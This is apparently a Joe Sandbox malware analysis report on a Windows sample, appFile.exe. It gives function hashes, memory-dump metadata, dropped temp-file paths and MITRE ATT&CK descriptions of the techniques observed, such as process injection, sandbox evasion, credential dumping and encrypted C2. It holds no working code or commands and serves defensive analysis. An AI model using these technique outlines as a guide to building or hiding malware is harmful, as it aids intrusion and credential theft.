Instruction ID: 233af467fa6967f0239d6021b4c854fb87690da47bdd8803354b7a90fd94210d
Opcode Fuzzy Hash: 1feaf0e274cf16ef0741fa9d108665e6c366966b39e006d739153cc267d6f199
Instruction Fuzzy Hash: 87E0E575E00108BFCB00DFA8DD4199D7BB89F48201F108194F90897344E631AE118791

Function 00BE671B Relevance: 1.5, APIs: 1, Instructions: 204
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000031.00000002.2940372296.0000000000BE3000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00BE3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_be3000_vsv_tool.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbb50fb56afd143785edb8b3f824610f8feaaf99d530fe6b5dcc6f423fa21a8f
Instruction ID: f84a2393f7d43e7bf97b50db80fdd6410470f82910de093d4055b5333a479ae2
Opcode Fuzzy Hash: dbb50fb56afd143785edb8b3f824610f8feaaf99d530fe6b5dcc6f423fa21a8f
Instruction Fuzzy Hash: 6591E8B5D04249EFCB08CF99D880AEEBBF5BF98310F108199E515AB355D734AA41CFA0

Function 00BE518B Relevance: 1.3, APIs: 1, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNELBASE(00000000,00000000,00000000), ref: 00BE51BB

Memory Dump Source

Source File: 00000031.00000002.2940372296.0000000000BE3000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00BE3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_be3000_vsv_tool.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 9e5e02ec3ae36198606aa10b822d832cfef97aae54456fdc6b76e3fc24730506
Instruction ID: 22341295c93b30477c5cf4e6811575b780c8450383861a3121def844927665f7
Opcode Fuzzy Hash: 9e5e02ec3ae36198606aa10b822d832cfef97aae54456fdc6b76e3fc24730506
Instruction Fuzzy Hash: C6F09278614208EFCB44CF58D480A99B7A5EB88324F10C299AC188B301D630EE81CB94

Function 0087CA28 Relevance: .1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000031.00000002.2940372296.000000000087C000.00000020.00000001.01000000.0000000F.sdmp, Offset: 0087C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_87c000_vsv_tool.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de664829c2f3fcb68b3e7426573d848cee77fb0a7238f371faa9a47000340301
Instruction ID: 3e95be7c59e6083caafd395291ef4367645f336a4351e903ab13f97bd08a79a7
Opcode Fuzzy Hash: de664829c2f3fcb68b3e7426573d848cee77fb0a7238f371faa9a47000340301
Instruction Fuzzy Hash: 49018070200214AFDB50EF6CED82A5A77EDFB49310B4158A9F908C7356DA74EC419B60

Function 0087C9F0 Relevance: .0, Instructions: 21
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000031.00000002.2940372296.000000000087C000.00000020.00000001.01000000.0000000F.sdmp, Offset: 0087C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_87c000_vsv_tool.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee07f5023dc0d96b754cc0171f9b2c7b07269112c1f717584af23fed1d3b5a05
Instruction ID: 9c5a0e60f86707a008ad9021674797a92e072c035e8d80bb5e4fcd5590c9a6b2
Opcode Fuzzy Hash: ee07f5023dc0d96b754cc0171f9b2c7b07269112c1f717584af23fed1d3b5a05
Instruction Fuzzy Hash: BFD05E917003140ACFE4BE7E4DC2B564EE8EB09386F4054BE798CD724BEA64CC485751

Function 0087C7C0 Relevance: .0, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000031.00000002.2940372296.000000000087C000.00000020.00000001.01000000.0000000F.sdmp, Offset: 0087C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_87c000_vsv_tool.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbaef350a031b0f30ea73a90b24e8774050fcc671b9a2ea6f4c83847aafd68f8
Instruction ID: c90b02578302a69fc2acbc09a65dc7178fb0bd685acdfa50ae336baa5d2b6d5d
Opcode Fuzzy Hash: cbaef350a031b0f30ea73a90b24e8774050fcc671b9a2ea6f4c83847aafd68f8
Instruction Fuzzy Hash: 72A002B64205298DDAA4B66A8045F546154FBA0766FC2E09CB408C745A4BB8C4888F52

Non-executed Functions

Function 00BE58BB Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2940372296.0000000000BE3000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00BE3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_be3000_vsv_tool.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3585cc5e86e4b4f2c0b231822883ac188ad7ac996d5f3a190238e1ab2981f7b1
Instruction ID: 3aed54436f5767a83b01f55326dea564c088d466d319321e9a1229c6b183aa19
Opcode Fuzzy Hash: 3585cc5e86e4b4f2c0b231822883ac188ad7ac996d5f3a190238e1ab2981f7b1
Instruction Fuzzy Hash: DCC04C7595664CEBC711CB89D541A59B7FCE709650F100195EC0893700D5356E109595

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	Drive: Drive Modification
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report appFile.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\41b5d0bf

C:\Users\user\AppData\Local\Temp\723356\F

C:\Users\user\AppData\Local\Temp\723356\Ted.com

C:\Users\user\AppData\Local\Temp\Beatles

C:\Users\user\AppData\Local\Temp\Cottages

C:\Users\user\AppData\Local\Temp\Gen

C:\Users\user\AppData\Local\Temp\Guitar

C:\Users\user\AppData\Local\Temp\Harvest

C:\Users\user\AppData\Local\Temp\Michigan

C:\Users\user\AppData\Local\Temp\Ottawa

C:\Users\user\AppData\Local\Temp\Portions

C:\Users\user\AppData\Local\Temp\Pupils

C:\Users\user\AppData\Local\Temp\Purpose

C:\Users\user\AppData\Local\Temp\Remarkable

Windows Analysis Report
appFile.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre